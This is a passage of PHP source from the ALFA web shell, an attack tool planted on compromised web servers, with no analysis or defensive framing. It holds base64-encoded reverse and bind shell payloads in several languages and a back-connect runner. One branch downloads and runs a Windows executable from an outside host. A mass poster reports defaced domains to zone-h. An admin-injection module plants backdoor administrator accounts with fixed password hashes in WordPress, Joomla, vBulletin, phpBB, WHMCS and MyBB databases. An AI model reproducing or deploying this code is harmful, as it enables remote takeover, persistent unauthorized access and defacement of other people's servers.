$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
<div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");
foreach($cbArr as $key=>$val){echo("<option value='{$key}' ".($GLOBALS['sys']=='win'?'selected':'').">{$val}</option>");}
echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
if(isset($_POST['alfa1'])&&!empty($_POST['alfa1'])){
$lang = $_POST['alfa1'];
$ip = $_POST['alfa2'];
$port = $_POST['alfa3'];
$arg = ($_POST['alfa4']=='bind'?$port:$port.' '.$ip);
$tmpdir = ALFA_TEMPDIR;
$name = $tmpdir.'/'.$lang.uniqid().rand(1,99999);
$allow = array('perl','ruby','python','node');
eval('$lan=$'.$lang.';');
if(in_array($lang,$allow)){
if(__write_file($name,__get_resource($lan))){
if(_alfa_can_runCommand(true,true)){
$os = ($GLOBALS['sys']!='win')?'1>/dev/null 2>&1 &':'';
$out = alfaEx("$lang $name $arg $os");
if($out==''){$out="<font color='green'><center>[ Finished...! ]</center></font>";}
echo("<pre class='ml1' style='margin-top:5px'>{$out}</pre>");
}
}else{
echo("<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>");
}
}
if($lang=='java'||$lang=='c'){
$code = __get_resource($lan);
$out = nl2br(bcinit($lang, $code,'',''));
echo("<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>");
}
if($lang=='bcwin'){
$alfa = new AlfaCURL();
$s = $alfa->Send('http://solevisible.com/bc/windows.exe');
$tmpdir = ALFA_TEMPDIR;
$f = @fopen($tmpdir.'/bcwin.exe','w+');
@fwrite($f, $s);
@fclose($f);
$out = alfaEx($tmpdir."/bcwin.exe ".$_POST['alfa2']." ".$_POST['alfa3']);
}
if($lang=='php'){
echo "<pre class=ml1 style='margin-top:5px'>";
$code = __get_resource($lan);
if($code!==false){
$code = "\$target = \"".$arg."\";\n".$code;
eval($code);
echo("<center><font color='green'>[ Finished...! ]</font></center>");
}
echo "</pre>";
}
}
echo "</div>";
alfafooter();
}
function alfazoneh(){
alfahead();
echo '<div class=header>';
if(!function_exists('curl_version')){
echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
}
$hackmode = array('known vulnerability (i.e. unpatched system)','undisclosed (new) vulnerability','configuration / admin. mistake','brute force attack','social engineering','Web Server intrusion','Web Server external module intrusion','Mail Server intrusion','FTP Server intrusion','SSH Server intrusion','Telnet Server intrusion','RPC Server intrusion','Shares misconfiguration','Other Server intrusion','SQL Injection','URL Poisoning','File Inclusion','Other Web Application bug','Remote administrative panel access bruteforcing','Remote administrative panel access password guessing','Remote administrative panel access social engineering','Attack against administrator(password stealing/sniffing)','Access credentials through Man In the Middle attack','Remote service password guessing','Remote service password bruteforce','Rerouting after attacking the Firewall','Rerouting after attacking the Router','DNS attack through social engineering','DNS attack through cache poisoning','Not available','Cross-Site Scripting');
$reason = array('Heh...just for fun!','Revenge against that website','Political reasons','As a challenge','I just want to be the best defacer','Patriotism','Not available');
echo '
<center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>
<form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\'>>\'); return false;">
<input type="text" name="defacer" size="67" id="text" placeholder="ALFA TEaM 2012" />
<br>
<select id="text" name="hackmode" style="width:400px;">';
$x=1;
foreach($hackmode as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
echo '</select><br><select id="text" name="reason" style="width:200px;">';
$x=1;
foreach($reason as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
echo '</select><br>
<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
<p><input type="submit" value=" " name="go" /></p>
</form></center>';
if($_POST['alfa5'] && $_POST['alfa5'] == '>>'){
ob_start();
$hacker = $_POST['alfa1'];
$method = $_POST['alfa2'];
$neden = $_POST['alfa3'];
$site = $_POST['alfa4'];
if(empty($hacker)){
die (__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
}elseif($method == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
}elseif($neden == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
}elseif(empty($site)){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
}
$i = 0;
$sites = explode("\n", $site);
$alfa = new AlfaCURL();
while($i < count($sites)){
if(substr($sites[$i], 0, 4) != "http"){
$sites[$i] = "http://".$sites[$i];
}
$alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);
++$i;
}
echo __pre()."<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
}
echo "</div>";
alfafooter();
}
function alfapwchanger(){
alfahead();
echo '<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
<center><h3>';
$vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11));
Alfa_Create_A_Tag('pwchanger',$vals);
echo '</h3></center>';
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='wp'){
echo __pre().'<center><center><div class="txtfont_header">| WordPress |</div>
<p>'.getConfigHtml('wp').'</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form>';
if ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login='".$admin."'") or die(mysqli_error($conn));
$sole = @mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = @mysqli_fetch_assoc($solevisible);
$res = $solevis['ID'];
}
$solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','solevisible'),(null,'".$res."','last_name','solevisible'),(null,'".$res."','nickname','solevisible'),(null,'".$res."','description','solevisible'),(null,'".$res."','rich_editing','true'),(null,'".$res."','comment_shortcuts','false'),(null,'".$res."','admin_color','fresh'),(null,'".$res."','use_ssl','0'),(null,'".$res."','show_admin_bar_front','true'),(null,'".$res."','".$prefix."capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'".$res."','".$prefix."user_level','10'),(null,'".$res."','show_welcome_panel','1'),(null,'".$res."','".$prefix."dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['alfa2'] && $_POST['alfa2'] == 'joomla'){
echo __pre().'<center><center><div class="txtfont_header">| Joomla |</div><p><p>'.getConfigHtml('joomla').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username='".$admin."'") or die(mysqli_error($conn));
$sole =@mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis =@mysqli_fetch_assoc($solevisible);
$res = $solevis['id'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){
echo __pre().'<center><center><div class="txtfont_header">| vBulletin |<div><p>'.getConfigHtml('vb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());
$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'");
$pw_col = @mysqli_num_rows($pw_col);
$adm_perm = "16744444";
if($pw_col > 0){
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','".date('Y-m-d')."','".time()."')") or die(mysqli_error($conn));
}else{
$adm_perm = "2143256444";
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','$admin','\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq','Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>','$SQL','".date('Y-m-d')."','".time()."','blowfish:10','1984-05-20')") or die(mysqli_error($conn));
}
$solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username='".$admin."'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['userid'];
}
$solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','".$adm_perm."')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb'){
echo __pre().'<center><div class="txtfont_header">| phpBB |</div><p><p>'.getConfigHtml('phpbb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5('solevisible');
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');
}
}
}
if(isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs'){
echo __pre().'<center><div class="txtfont_header">| Whmcs |</div><p><p>'.getConfigHtml('whmcs').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb'){
echo __pre().'<center><div class="txtfont_header">| Mybb |</div><p><p>'.getConfigHtml('mybb').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke'){
